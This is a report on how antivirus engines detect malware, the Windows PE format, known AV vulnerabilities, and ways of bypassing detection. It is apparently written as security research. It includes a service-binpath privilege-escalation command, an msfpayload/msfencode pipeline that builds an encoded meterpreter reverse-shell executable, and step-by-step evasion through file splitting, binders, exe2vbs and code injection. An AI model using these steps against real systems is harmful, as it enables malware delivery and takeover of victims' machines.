1.

Introduction
Anti-virus software has in true sense evolved a lot in these years. Time has gone where there were anti-virus software which used to detect the malwares or viruses based on scanning the executable hex`s dump and finding an appropriate string (also called as String based detection). Nowadays, more and more advanced technologies are been incorporated in detecting malwares for example, advanced heuristics, signature and its variants based, sandboxing, behavioral based approach etc. Now many AV not only offers deep scan option which scans almost all files stored in secondary memory but also scans offsets in the memory (also called as opcodes). But, if we look at the real-time statistics by Bit Defender AV[1] , we can come to know that each hour there are new malwares and viruses reported. This is shown in the figure below.

Figure [1] Real-time virus reporting (Dated: 29/09/13) From the stats above one may have a question rising in their mind that nowadays the AVs scans each and every files even that present in the opcodes of the memory then why there is drastic spread of malwares as compared to last decade? The answer to these is that very smart people whom we call Crackers/Hackers have found the way to bypass these AVs.
Page 1

They know the very detail about how the AV works and which AV have which type of detection capabilities for example if it scans based on string detection or if it scans based on sandboxing approach. We sometimes fail to remember that they (Crackers and Hackers) too have AV scanners from which they may scan their newly developed malware and viruses and can easily spread via plethora of medium, mostly the Internet. Below is the snapshot of a Virus scanning portal[2] which has almost 45 scan engines to detect if the file consists of executable code.

Figure [2] Online file scanner having almost 45 different scan engines Crackers and Hackers also have easy access to various debuggers and dissemblers in which they may change their developed code to bypass some specific targeted AV. This report throws light on the way the AVs work along with their different detection techniques, the structure of windows executable (also called as PE structure) along with the brief details of where the signature of any file is stored (signature which anti-virus looks for) and finally the techniques for bypassing AVs.

Page 2

2. Anti-Virus: How they work

According to Wikipedia.org Antivirus or anti-virus software is software used to prevent, detect and remove malware (of all descriptions), such as: computer viruses, malicious BHOs, hijackers, ransomware, keyloggers, backdoors, rootkits, trojan horses, worms, malicious LSPs, dialers, fraudtools, adware and spyware. Computer security, including protection from social engineering techniques, is commonly offered in products and services of antivirus software companies.This page discusses the software used for the prevention and removal of malware threats, rather than computer security implemented by software methods. To prevent the viruses to enter into our machine, there are only two ways[3]: To isolate the system i.e. disconnecting it from the network, neither using any CDs/DVDs nor USB drives for data transfer. To use an AV software. Sometimes we wonder that how an AV scans the files present on our machine and flags it as malicious depending on the code containing that file. AV nowadays scans our system on real-time basis, scans the file and if found it safe for the windows file loader[4] to load then it let the file to be copied on the hard-disk (HDD) but if the AV finds the file malicious for the windows file loader to load then it flags it malicious(or suspicious) and waits for the user action. Snapshot below gives its high level view.

Figure [3] High level view of AV working mechanism We can say that an AV software is no more than program that is used for analyzing information and then, if it finds that something is infected, it either disinfects it or waits for the user action. Information is analyzed based on the origin of the information i.e. the source of information. AV will operate differently when it is monitoring CDs/DVDs data transfer operation than when monitoring internet traffic or data transfers over LAN network. The principal of operation is all the same but there are subtle differences. The information which is in the source system must reach to its destination system.

Page 3

The information interpretation also varies depending on whether it is implemented in some sort of operating systems or on some kind of application. This interpretation mechanism must be specific to each operating system or the component in which the AV is going to be implemented. For example if we are implementing the AV software for some firewall then it is the firewall that will provide the information to the AV to scan it. Once the information is passed to AV, the information is scanned and one of the two possibilities takes place, they are: The cleaned information is returned to the interpretation mechanism, which in turn will return it to the system so that it can continue towards its final destination. A warning is sent to the user interface. This user interface can vary greatly. In an AV for workstations, a message can be displayed in the form of pop up message on screen, but in server side the alert is send to the administrator`s email, an internal network message or is sent via SMS. Snapshot below explains whole process.

Source System

Destination System Interpretation of Information

Scanning of Information

Disinfection

Alert

Figure [4] Complete AV working process

Page 4

2.1 Anti-virus: Virus Detection techniques (Scan Engines)

Regardless of how the information to be scanned is obtained, the most important function of the antivirus now comes into play: the virus scan engine. This engine scans the information it has intercepted for viruses, and if viruses are detected, it disinfects them. As of the methods known till now, the information is scanned as one of the five known methods, they are as follows: 1. 2. 3. 4. 5. 6. Signature based detection Heuristic based detection Sensing threat technology Behavioral based detection(also called as artificial intelligence based detection) Protective defense based detection And Sandbox based detection

2.1.1 SIGNATURE BASED DETECTION Signature-based detection[5]: also referred as scan string-based technologies works by scanning the contents of computer files and cross-referencing their contents with the code signatures belonging to known viruses. A library of known code signatures is updated and refreshed constantly by the anti-virus software vendor. If a viral signature is detected, the software acts to protect the users system from damage. Suspected files are typically quarantined and/or encrypted in order to render them inoperable and useless. Clearly there will always be new and emerging viruses with their own unique code signatures. So once again, the anti-virus software vendor works constantly to assess and assimilate new signature-based detection data as it becomes available, often in real time so that updates can be pushed out to users immediately and zero-day vulnerabilities can be avoided. AV program searches within given files for the presence of certain strings (also only in certain regions).If these predefined strings are found, then antivirus report A Threat has been detected. Next-generation signature-based detection: New variants of computer virus are of course developed every day and security companies now work to also protect users from malware that attempts to disguise itself from traditional signature-based detection. Virus authors have tried to avoid their malicious code being detected by writing oligomorphic, polymorphic and more recently metamorphic viruses with signatures that are either disguised or changed from those that might be held in a signature directory.
Page 5

2.1.2 HEURISTIC BASED DETECTION Heuristic based detection[6]: It is used to detect new, unknown viruses in your system that has not yet been identified. Only some antiviruses can do this type of scan, the majority are only able to detect known viruses. Virus detection is based on recognition of a signature or string of code which identifies a certain virus. Similar to how investigators use characteristics to identify criminals; antiviruses look for digital footprints in order to recognize a virus. Nevertheless, to detect an unknown virus, a particular signature or recognized code does not yet exist. For this reason a heuristic scan is used. Heuristic methods are based on the pieceby-piece examination of a virus, looking for a sequence or sequences of instructions that differentiate the virus from normal programs. The first heuristic engines were introduced to detect DOS viruses in 1989.Heuristic (hyu-'ristik) is an adjective for methods that help in problem solving. These program searches instructions or commands within a file that are not found in typical good application programs. As a result, a heuristic engine is able to detect potentially malicious files and report them as a virus. Such AV might also emulate running the file to see what it would do if executed, attempting to do this without noticeably slowing down the system. A single suspicious attribute might not be enough to flag the file as malicious. However, several such characteristics might exceed the expected risk threshold, leading the AV to classify the file as malware. The biggest downside of heuristics is it can inadvertently flag legitimate files as malicious. 2.1.3 SENSING THREAT TECHNOLOGY Threat sense technology: In past when a virus was released it was detected by antivirus experts after 15-30 days. Till then virus had done enough damage to millions of users like I love you worm. Thus as a result AV experts started using Threat Sense Technology. In this technology , when a certain files does specious activity in computer, AV program doesnt perform any action and keep eye on that file. Next, when you update your AV these files are send to security experts of that AV that you are using. They analyze the file; if it is a virus then they create its signatures. By this a virus is caught within couple of days.

Page 6

2.1.4 BEHAVIOURAL BASED DETECTION Behavioral detection: It observes how the program executes, rather than merely emulating its execution. This approach attempts to identify malware by looking for suspicious behaviors, such as unpacking of malcode, modifying the hosts file or observing keystrokes. Noticing such actions allows an antivirus tool to detect the presence of previously unseen malware on the protected system. As with heuristics, each of these actions by itself might not be sufficient to classify the program as malware. However, taken together, they could be indicative of a malicious program. The use of behavioral techniques brings antivirus tools closer to the category of host intrusion prevention systems (HIPS), which have traditionally existed as a separate product category. In short, such AV monitors your computer activities. If any dangerous or specious activity occurred by a file then it informs user and give some option to perform certain action. Now user has to take decision that is it a virus file or helpful file. Sometimes, if user takes wrong decision then the software which is reported by AV gets corrupted. 2.1.5 PROTECTIVE BASED DETECTION Protective based detection: It was first used by Kaspersky. When a program or process gets executed, Proactive Defense tells the user about the activity of the program and asks it to allow or Block. The Most advanced Proactive Defense is provided by Comodo Internet Security. 2.1.6 SANDBOX BASED DETECTION Sandbox based detection[7]: The term sandbox in computing means an isolated computing environment used by software developers to test new programming code. AV nowadays employs this technique effectively, it first isolate the files which are to be scanned and monitors its behavior for certain amount of time for example 2-3 seconds, when AV finds that the file is not malicious then only it allows that file to be copied on the destination location.

Page 7

3. PE Portable Executable: A look

When we execute any .exe file, do we think that how actually the structure of any executable file is under windows environment. This structure is looked by AVs effectively in order to scan for the signature that is present in that executable file. And if the signature is found to be present in the AV database then it flags as malicious and either deletes it or waits for the user to take some action. Before we start into the details of PE we must know what PE actually is. According to Wikipedia.org, The Portable Executable (PE) format is a file format for executables, object code and DLLs, used in 32-bit and 64-bit versions of Windows operating systems. The term "portable" refers to the format's versatility in numerous environments of operating system software architecture. The PE format is a data structure that encapsulates the information necessary for the Windows OS loader to manage the wrapped executable code. This includes dynamic library references for linking, API export and import tables, resource management data and thread-local storage (TLS) data. On NT operating systems, the PE format is used for EXE, DLL, SYS (device driver), and other file types. The Extensible Firmware Interface (EFI) specification states that PE is the standard executable format in EFI environments. PE is a modified version of the Unix COFF file format. PE/COFF is an alternative term in Windows development. Now without further ado, lets jump into the basic outline structure of PE, structure for all executable under windows environment[8]. Below is the snapshot of the PE structure.

Page 8

Figure [5] PE File structure

The above picture is the general layout of a PE file. All PE files (even 32-bit DLLs) must start with a simple DOS MZ header. We usually aren't interested in this structure much. It's provided in the case when the program is run from DOS, so DOS can recognize it as a valid executable and can thus run the DOS stub which is stored next to the MZ header. The DOS stub is actually a valid EXE that is executed in case the operating system doesn't know about PE file format. It can simply display a string like "This is not a valid Win32 application" or it can be a full-blown DOS program depending on the intent of the programmer. We are also not very interested in DOS stub: it's usually provided by the assembler/compiler. In most case, it simply uses int 21h, service 9 to print a string saying "This program cannot run in DOS mode". After the DOS stub comes the PE Signature and PE header. The PE header is a general term for the PE-related structure named IMAGE_NT_HEADERS. This structure contains many

Page 9

essential fields that are used by the PE loader. We will be quite familiar with it as you know more about PE file format. In the case the program is executed in the operating system that knows about PE file format, the PE loader can find the starting offset of the PE header from the DOS MZ header. Thus it can skip the DOS stub and go directly to the PE header which is the real file header. The real content of the PE file is divided into blocks called sections. A section is nothing more than a block of data with common attributes such as code/data, read/write etc. You can think of a PE file as a logical disk. The PE header is the boot sector and the sections are files in the disk. The files can have different attributes such as read-only, system, hidden, archive and so on. It shall be clear from this point onwards that the grouping of data into a section is done on the common attribute basis: not on logical basis. It doesn't matter how the code/data are used , if the data/code in the PE file have the same attribute, they can be lumped together in a section. You should not think of a section as "data", "code" or some other logical concepts: sections can contain both code and data provided that they have the same attribute. If you have a block of data that you want to be read-only, you can put that data in the section that is marked as read-only. When the PE loader maps the sections into memory, it examines the attributes of the sections and gives the memory block occupied by the sections the indicated attributes. If we view the PE file format as a logical disk, the PE header as the boot sector and the sections as files, we still don't have enough information to find out where the files reside on the disk, i.e. we haven't discussed the directory equivalent of the PE file format. Immediately following the PE header is the section table which is an array of structures. Each structure contains the information about each section in the PE file such as its attribute, the file offset, and virtual offset. If there are 5 sections in the PE file, there will be exactly 5 members in this structure array. We can then view the section table as the root directory of the logical disk. Each member of the array is equivalent to the each directory entry in the root directory.

Page 10

That's all about the physical layout of the PE file format. Below are the major steps in loading a PE file into memory below: When the PE file (i.e. executable) is run, the PE loader examines the DOS MZ header for the offset of the PE header. If found, it skips to the PE header. The PE loader checks if the PE header is valid. If so, it goes to the end of the PE header. Immediately following the PE header is the section table. The PE header reads information about the sections and maps those sections into memory using file mapping. It also gives each section the attributes as specified in the section table. After the PE file is mapped into memory, the PE loader concerns itself with the logical parts of the PE file, such as the import table.

3.1 PE Sections[9]: Explained!!

Below is the list of each section of PE structure which is briefly explained. The sections that are most commonly present in an executable (depends on the compiler used or debugger used to analyze the executable) are: Executable Code Section, named .text (Microsoft) or .txt (olydbg) or CODE (Borland) Data Sections, named .data, .rdata, or .bss (Microsoft) or DATA (Borland) Resources Section, named .rsrc Export Data Section, named .edata Import Data Section, named .idata Debug Information Section, named .debug

Note: Structure of a PE(portable executable) file on disk is exactly the same as when it is loaded into memory so if you can locate info in the file on disk you will be able to find it when the file is loaded into memory. However it is not copied exactly into memory. The windows loader decides which parts need mapping-in and which parts has to be omitted. Data that is not mapped-in is placed at the end of the file past any parts that will be mapped-in e.g. Debug information. Let`s understand the meaning of all sections: 1. Executable Code Section: In Windows, all code segments reside in a single section called .text or .txt or CODE. Since Windows uses a page-based virtual memory management system, having one large code
Page 11

section is easier to manage for both the operating system and the application developer. This section also contains the entry point(EP) and the jump thunk table (where present) which points to the IAT. Note: EP is the entry point from where the code section starts in obfuscated exe file. Jump thunk table : contains all the jump addresses and references. IAT: It stands for import address table, this is a table of function pointers filled in by the windows loader as the dlls are loaded. I will post a complete tutorial for Import address table because its a very important concept. For now just take it as table containing function pointers.

2. Data Section: The .bss section represents uninitialized data for the application, including all variables declared as static within a function or source module. The .rdata section represents read-only data, such as literal strings, constants, and debug directory information. All other variables (except automatic variables, which appear on the stack) are stored in the .data section. These are application or module global variables. 3. Resource Section: The .rsrc section contains resource information for a module. There are many resource editors available today which allows editing, adding, deleting, replacing and copying resources. 4. Export Data Section: The .edata section contains the Export Directory for an application or DLL. When present, this section contains information about the names and addresses of exported functions. 5. Import Data Section: The .idata section contains various information about imported functions including the Import Directory and Import Address Table. The import section contains information about all the functions imported by the executable from DLLs. This information is stored in several data structures. The most important of these are the Import Directory and the Import Address. The Windows loader is responsible for loading all of the DLLs that the application uses and mapping them into the process address space. It has to find the addresses of all the imported functions in their various DLLs and make them available for the executable being loaded.
Page 12

6. Debug Information Section: Debug information is initially placed in the .debug section. The PE file format also supports separate debug files (normally identified with a .DBG extension) as a means of collecting debug information in a central location. The debug section contains the debug information, but the debug directories live in the .rdata section mentioned earlier. Each of those directories references debug information in the .debug section. 7. Base Relocation Section: Last but not the least and most important section for Crackers and Hackers perspective. When the linker creates an EXE file, it makes an assumption about where the file will be mapped into memory. Based on this, the linker puts the real addresses of code and data items into the executable file. If for whatever reason the executable ends up being loaded somewhere else in the virtual address space, the addresses the linker plugged into the image are wrong. The information stored in the .reloc section allows the PE loader to fix these addresses in the loaded image so that they're correct again. On the other hand, if the loader was able to load the file at the base address assumed by the linker, the .reloc section data isn't needed and is ignored.

3.2 Partial look of PE header with olly debugger

Below is a snapshot taken from Olly debugger[10], Crackers and Hackers use such debuggers to tweak their code and change their behavior to bypass AV.

Figure [6] Partial View of PE header in Olly Debugger

Page 13

3.3 Signatures stored in file which AV looks for.

Finding the signature that the Anti-Virus[10:1] application looks for, isnt that hard if an old technique is used which is performed by splitting the file into several files and then scanning each file to see which one of them contains the signature. Sometimes the signature is pretty easy to find, e.g. in case ncx99.exe is used. This is a simple netcat listener, which binds cmd.exe to port 99 on the global network interface. In the picture below from offset E77E to offset E78F is the main signature located. Crackers and Hackers may use many binders or packagers that are available on internet one of the most widely used packager is UPX[11]. Furthermore, the signature is located in the idata section in this case. This means that if we would try to encode the entire idata (refer the PE structure above) section, then our executable file might not work at all! Therefore Crackers and Hackers try to edit a part of this, or encode only the signature to avoid AV detection. Snapshot below shows the hex dump of ncx99.exe.

Figure [7] Hex dump of ncx99.exe

Page 14

3.4 Olly Basics: Exploring executable with olly debugger

Although not really necessary but some basic information of debugger such as Olly debugger is required to understand how the executable is loaded into memory. Moreover elite Hackers and Crackers already know this stuff and use their knowledge to bypass AVs. Olly debug, often called "Olly" is Ring3 debugger. It means that olly works at windows application level, but still can control other applications. In human language: with this magnificent tool, we can find "bugs" in a program. Snapshot below shows some the executable opened with olly debugger.

Figure [8] Olly basics, exploring an executable. As we can see that some executable is opened in debugger but this seems quite weird at the first look. To make the task easy, we have numbered different sections and below are its details: 1. As you can see the codes at extremely left pane like 0040100 etc. are the Virtual Memory addresses numbers. These address shows those portion of the Virtual memory which is used to load the program and may change when we open it the
Page 15

second time as at that time windows might have opened our executable by loading it from different memory address. 2. The codes shown after the extreme left pane as 6F21400,03,00 etc. are called as opcodes. These are those codes that our computer can actually understand. 3. These are the assembler mnemonics, which we humans can understand. These gets converted into the opcodes as shown in (2) in the snapshot. 4. This pane is that which Olly has generated by commenting the code. This makes our life easier as we can understand the code through it. 5. These are the registers which can hold some value into its memory. Registers have different sizes depending upon its nature i.e. whether its 64 bit register or 32 bit register. 6. This is the pane where the Hex dump of our executable is shown. 7. Two bytes like 55 79 constitute a word (2Bytes == 1word) . 8. Four bytes as shown like 79204000 (opcode) constitutes a Dword (4Bytes == 1Dword). 9. This panel contains windows stack memory information. 10. As shown 1 byte equals to 8 bits. 11. This is the executing panel. Here we can see the current executing instructions. Assembly Information: In todays average wintel CPU you have 9 32bit registers (w/o flag registers) Their names are: eax: Extended Accumulator Register ebx: Extended Base Resgister ecx: Extended Counter Register edx: Extended Data Register esi: Extended Source Index edi: Extended Destination Index ebp: Extended Base Pointer esp: Extended Stack Pointer eip: Extended Instruction Pointer

Generally the size of those registers is 32bit (==4 bytes). They can hold data from 0FFFFFFFF (unsigned). In the beginning most registers had certain main functions which the names imply, like ECX = Counter, but these days we can nearly use whichever register we like for a counter.

Page 16

There is one more thing we have to know about registers: although they are all 32 bit large, some parts of them (16 bit or even 8 bit) cannot be addresses directly. Accessible registers are as follows: 32 Bit EAX EBX ECX EDX ESI EDI EBP ESP EIP 16 Bit AX BX CX DX SI DI BP SP IP Table [1] Windows Registers 8 Bit AH/AL BH/BL CH/CL DH/DL

For example: EDX == 7C90EB94, DX == EB94, DH == EB and DL == 94. Similarly we also have 64 bit registers as well. Here we have not discussed those registers. The purpose of such information given is because the very smart people i.e. Crackers and Hackers already knows this information in great detail and thus they can modify their code in such debugger to bypass the AVs detection.

Page 17

4. Do your Anti-virus really protect you?

Below given are the audit results[12] in the great detail which shows the vulnerabilities in some of the famous AV software. Before getting into the technical stuff lets first understand some basic terms that are related to the results given below. LHA: This refers to the file format. A file with the LHA file extension is a Compressed Archive file. LHA files can be opened with any popular compression/decompression program, the free 7-Zip tool being one example. Any of these types of programs will decompress (extract) the contents of a LHA file, as well as create new LHA compressed files. ARJ Header[13]: The ARJ program by Robert K. Jung is a "newcomer" which compares well to PKZip and LhArc (LHA) in both compression and speed. An ARJ archive contains two types of header blocks, one archive main header at the head of the archive and local file headers before each archived file. UPX[14]: It is one of the ultimate packers (wrapper) for executables. It is basically executable file compression and decompression utility that supports many executable file formats. Audit Results that shows Vulnerabilities in AVs[15]: AVs Audit Results Unchecked offset reconstructing UPX PE header Can be triggered by providing a negative offset to prior heap chunk containing MZ header with crafted PE header Heap overflow with no character restrictions Improperly checked file name and path strlen in LHA level 1 header Signature in .dat to detect for malformed LHA file Can be triggered my supplying a malformed LHA file, that also conforms to the PECOFF format Stack overflow with ascii character restrictions Improperly checked filename strlen in ARJ header
Page 18

Symantec

McAfee

TrendMicro

 Doesnt overflow the next chunks header, but does corrupt various pointers, which results in the address of the filename being written to an arbitrary destination Kernel Heap overflow with ascii character restrictions Improperly checked filename strlen in ARJ FSecure header Standard heap overflow with ascii character restrictions Table [2] Audit results of AVs

Page 19

5. Vulnerabilities in AVs
Mostly there are 4 types of vulnerabilities[16] which is seen in any AV. They are as follows: 1. 2. 3. 4. Management (Administrative) interface Engine-based ActiveX-related LPE (Local Privilege Escalation)

Management interface: Client/Server management Most C/S-based management protocols are proprietary, which means, no RFC or documents are available. It will be difficult to understand what the Client and Server are talking about by capturing packets. The traffic might look quite random or might be encrypted in some way. Fuzzing is a good choice in this situation. Spike[17] and Sully[18] are two great fuzzing frameworks. For more information, please check the reference. Web interface Since most Web servers for management are developed in-house by antivirus vendors, they may not be well audited and analyzed. Fuzzing is always useful and worth trying. There are lots of web fuzzers publicly available, such as webfuzz[19], Spike and Sulley.

Engine-Based: The engine is the most complex component of antivirus software thus auditing the engine would be tough. Basically there are three ways of auditing: Source code audit As the name suggests, to audit the source code, auditors need access to the source code of the antivirus software. However, for security researchers, most source code is unavailable, except ClamAV[20]. Reverse engineering Since most commercial antivirus solutions are closed-source, source-code audit are almost impossible for researchers. Reverse engineering is one of the best choices. Researchers can analyze the assembly code directly and look for potential vulnerabilities. While reverse engineering an antivirus software engine, the target should be focused on the component responsible for parsing all kinds of file formats.

Page 20

Fuzzing Fuzzing is an amazing technique, and it has accelerated software security a lot in the past few years. Researchers have already presented fuzzing media players, fuzzing server applications, fuzzing web browsers, and published lots of fuzzers. However, few people had ever talked about fuzzing antivirus software.

ActiveX-related: Auditing ActiveX issues of antivirus software is no different from auditing them for other applications. It can be done either through fuzzing or through manual auditing: Fuzzing ActiveX-based vulnerabilities became more prevalent in 2007 than ever. This was partially caused by the prevalence of ActiveX fuzzers. Two popular tools in this area are AxMan [21] and ComRadier [22]. AxMan is more powerful, while ComRadier is more user-friendly. After installing antivirus software, the specific ActiveX control can be fuzzed by either choosing a single CLSID or specifying a directory. Manual auditing While fuzzing can uncover lots of memory corruption problems, a manual audit can reveal some other interesting vulnerabilities at the design level.

LPE (Local privilege escalation): Weak DACL Auditing weak DACL issues is one of the easiest things, sometimes it can be done manually without the help of any tools. To check whether an antivirus installation directory (files) is vulnerable to this issue, you just need to right click on the directory (files) and navigate to the security tag. If the "Everyone" group has a "full control permission, then probably it`s a brand new local root vulnerability! Checking the ACL of services is a little bit different from the installation directory. It can be done by using sc.exe[23] from Microsoft, and the specific approach goes like this: Login as a non-privilege user, and run the following commands, if error #5 does not appear, Congratulations! "Antivirus service is the name of the service the attacker want to exploit, and C:\sc config "antivirus service" binpath= D:\attack\attack.exe binpath is a binary file (could be a Trojan, rootkit, or anything) under the attacker's control. After running this command, the attacker might have successfully changed the binary path of a Windows service, which will result in the attackers own binary being launched as an elevated privilege (usually SYSTEM privilege).
Page 21

6. Caution!! Bypassing AV detection mechanism techniques.

Now some of the techniques are been discussed which can bypass AVs. Crackers and Hackers might target any specific AV to bypass their detection. Hackers and spammers actively use various techniques to bypass the AV protection to install virus, backdoors, bots etc. in the target computers. Here in this report those techniques are been discussed with their POC. Below is the list of the various techniques, they are: 1. 2. 3. 4. 5. 6. Using binders and packers Using splitters Code conversion from EXE to client side scripts Obfuscation of code to evade antivirus detection mechanism Using Metasploit framework to encode payloads Code or DLL injection

6.1 Using binders and packers

Binders: Binders are used to bind two or more than two EXE files to one single EXE file. It usually binds other EXE files to itself and generates a new binary. For example the original size of the Binder file is 20 KB and the size of the EXE to be attached is 35 KB then the final size of the new EXE generated will be 20 KB + 35 KB = 55 KB. Snapshot is given below which clears the concept.

Figure [9] Working of EXE binder From the above figure, the Binder (File A) binds the malicious code binary (File B) to the end-of-file (EOF). This creates another EXE (File C) which combines both File A and File

Page 22

B. Now on executing File C, the file read offset sets at 20 KB and read for rest 35KB to extracts the original malicious code binary (File B). This is how viruses or worms can be hidden using binders and can get pass undetected by all anti-virus products. Since, the original signature of the malicious code gets shifted to a different offset in the newly generated binary which is can easily evade any static anti-virus products. Few good binders available on internet are Infector v2, Exe-Maker, Exe-Joiner, Trojan Man, Elitewrap and TOP. Note: The technique just discussed above is not full proof. AV has evolved a lot and usually has all this signatures present in their database. For example if you bind some sort of malicious EXE to some legitimate EXE through some packager then usually the signature of that packager is present in that AV and when it scans the final binded EXE then it flags as malicious. One way to get successfully bypass AV is to code your own custom binder. Obviously the signature of your custom coded binder will not be present in the AVs database and thus can get easily bypassed. Packers (Compressor): Packers works very similar to the way binders works but the only difference between them is in case of packers the malicious binary is compressed before it gets embedded to the packers binary to generate the final EXE. This makes any antivirus product helpless in detecting the compressed malicious binaries since, the signature changes because of the compression. Few good packers available on internet are UPX, Shrinker, PKlite, AS-pack, Petite, and WWpack. Again the same problem arises as that of binders explained above. These are not used now days as all the AVs have signatures of these packers present in their database. Lets see how an AV detects the malicious executable even though it is packed with a packer (Here we use UPX packer ). For example: Pack any malicious file with UPX (a freeware packer) and then test again with AV. You should see that your AV is again popping up the alert describing that file as a malicious one. But our file was packed how AV still know that it is a malicious file and the answer is AV has also signature for UPX, so what AV is doing it loads the file detect the packer then decrypt/unpack(AV also know how to unpack UPX packed files) the file and then test the file, And this is the reason that AV still know that file is malicious. Proof that AV is doing all this to test file.

Page 23

Open the same packed file in a hex editor and just overwrite the starting bytes with some garbage values and then again test it with your AV. Now you should see that AV is saying that file is clean (Reason: Because file is corrupted and AV have no option to unpack/decrypt it)

6.2 Using Splitters to evade detection

Using the splitters also might play the game. Its working is completely opposite to that of working of binders. Here the executable file is split into many small chunk size of file and then they are joined at the target end. We shall remember that there must be the same software at the target end to join the split files. But unfortunately, this technique also gets detected in AVs. One way to bypass the AV with this technique is shown below: Split the file into some small sized file with any splitter available on internet (hj-split for windows is preferred). This is shown in the snapshot below.

Figure [10] File splitted with hj-split utility Now open those split files in any hex editor and change the code of the starting lines to 0s. Here we will open simple2.exe.007 file in hex editor and change its code. Snapshot is given below.

Figure [11] Changing contents of file in hex editor

Page 24

Again scan that small file. If it is not detected as malicious then it is ok but if it is detected as malicious by AV then again split that file and perform the same thing as mentioned above. Do this for all such splitted files till AV flags that file as a legitimate file. Now, join those file in the same order in which they were split. And scan that complete file, you will noticed that you have successfully bypassed AV detection. The problem with this technique is that the final executable file may not work correctly as large amount of the source code was being tempered. But there are time when it work flawlessly.

6.3 Code conversion from exe to client side scripts

There are techniques which can be used to convert an executable or any other file types (like .pif or .scr) into vbs file and on execution of the vbs file the hidden binary will get executed automatically. This can aid to malicious users to spread the malicious programs across internet which can get past various anti-virus gateways undetected. We take NetBus as a sample malicious binary to hide inside a vbs file. Below given is the snapshot where the NetBus-Server.exe is converted into a vbs file called "game.vbs" using a program called exe2vbs converter (by z0mbie). On execution of the vb script file, it will create an executable.

Figure [12] exe2vbs Utility Signature of the malicious binary is different after the conversion, it can get bypass any AV product undetected. But again this technique is not full proof and many AV detects it as malicious file.

6.4 Code obfuscation

Code obfuscation is a process where the binary of the malicious program undergoes various transformations (Ex Code Morphing) which are undetected by anti-virus products. There are various kinds of code obfuscation techniques like polymorphism, metamorphism etc but in this section; We shall discuss about a technique called "Code Morphing" which prevents anti-virus from detecting malicious patterns in the binaries.

Page 25

In case of "Code Morphing", the malicious code is encrypted and a small routine is embedded to decrypt the code before running the malicious code. This kind of code obfuscation undergoes several transformations which are nondeterministic and destroys the visible logical code structure and hence it not only prevent detection by anti-viruses but also prevents disassembling or debugging by tools like SoftIce and IDAPro etc. One such tool called "AxCrypt" utility does this kind of code obfuscation.

6.5 Using Metasploit framework to encode payloads

Here we use the widely used linux distro for penetration testing, The Backtrack OS. Inside BT there is a framework designed especially for pentest purpose called as metasploit framework. One can also use metasploit tools such as msfencode and msfcli for bypassing AVs. Here encoding of code is done instead of encrypting it. We must take care of the term encoding and encryption. The purpose of encoding is to transform data so that it can be properly (and safely) consumed by a different type of system, e.g. binary data being sent over email, or viewing special characters on a web page. The goal is not to keep information secret, but rather to ensure that it's able to be properly consumed. Encoding transforms data into another format using a scheme that is publicly available so that it can easily be reversed. It does not require a key as the only thing required to decode it is the algorithm that was used to encode it. One can easily create payloads in the form of malware and encode it through msfencode utility provided in the metasploit framework. One of the typical command to generate undetectable payload is as follows: #./msfpayload windows/meterpreter/reverse_tcp LHOST=<I.P.> LPORT=<PORT No.> R | ./msfencode e x86/shikata_ga_nai c 5 | ./msfencode -2 x86/alpha_upper c 2 | ./msfencode e x86/shikata_ga_nai c 5 t exe o /root/game.exe We can find much of the information to this on internet. Note: One can use variations of the encoding algorithms to make malware totally undetectable.

Page 26

6.6 Using Code/DLL injection to bypass AV[24]

This may be one of the stealthiest techniques to bypass any AV detection of virus till the date of writing. Generally DLL/Code injection refers to the process of injecting either code or dll into the virtual memory space of some other process. As a result one can trick the AV into believing that the code of the malware (trojan) is the legitimate code triggered by legitimate process under windows environment. Here we are using a tool named Injector to inject our code into any other process. The Concept of Injector (Ingeneric way to bypass AV): Because exe files are going to detected by AVs( at least if you pack them with the publicly exposed packers/encryptors). So we have to think in a another way. And the another way is: split the exe into two parts (not physically) The core code (the actual code that performs a specific task for eg. Bind shell) The interface a mechanism that will inject the code into memory and execute that code.

So the functioning is something like this:

Figure [13] Code Injection process

Page 27

Note that from the above explanation we know that shellcode/code into a file is not going to be detected by AV because AV dont know how to decode shellcode. Important Note: you may be thinking that why the encoded shellcode? because if we use metasploit shellcodes there signatures may be in AVs. If you encode the shellcode with any available encoder in metasploit then AVs not able to decode it in a file and not able to detect it. Second part of the concept is the interface that will inject the code into a process. Code injection is not a new concept (dll injection is one of the most popular example). Note: All the things are generic and are not specific to any tool or shellcodes. Metasploit and shellcodes are used only to demonstrate the concept. You can also inject your codes "that are detectable to AV in exe mode" with this method and can bypass AV. Things that you can do with this method: Backdoor a process Provide many backup shells (every type)

Page 28

7. Conclusion and Future Work

This report briefly discusses How AV really works, Structure of executable as seen by Windows environment, vulnerabilities in AV software and the exploitation techniques. We are not telling that antivirus is useless. Nor are we suggesting a replacement product. We only want to draw attention to the fact that the vulnerabilities of antivirus software are being a real threat. The security of antivirus software draws our attention to security products such as firewalls, IPS, IDS, and others. Security products are supposed to protect users, what if they fail? What if they just open a new door for attackers in your system? Future work shall focus on this aspect of security products.

Page 29

8. References
1) Real time virus reporting http://bitdefender.com/resourcecenter/real-time-reporting 2) Online malware and spyware scanning portal: virus total http://www.virustotal.com 3) Two ways to prevent viruses entering your computer. http://www.net-security.org/article.php?id=485&p=1 4) A whitepaper on Injector Mask or a Tool, 2010 by Amit Malik 5) Signature based scanning. http://blogs.avg.com/business/signature-based-detection/ 6) Heuristic based scanning http://techinicalplanet.blogspot.in/2013/02/antivirus-mechanism.html http://www.pandasecurity.com/usa/homeusers/support/card/?Id=7&idIdioma=2&Ref=Tech Portal 7) Sandbox http://searchsecurity.techtarget.com/definition/sandbox 8) PE file format http://win32assembly.programminghorizon.com/pe-tut1.html 9)PE Sections http://www.csn.ul.ie/~caolan/publink/winresdump/winresdump/doc/pefile2.html 10) Olly Debugger (Ollydbg) www.ollydbg.de/version2.html 10:1) White paper on Bypassing Anti-virus Scanners by Internet Security Team 11) UPX: The ultimate packer http://upx.sourceforge.net/ 12) Blackhat USA presentation, 0wning Anti-virus by Alex Wheeler and Neel Mehta 13) ARJ Header Information http://www.fileformat.info/format/arj/corion.htm

Page 30

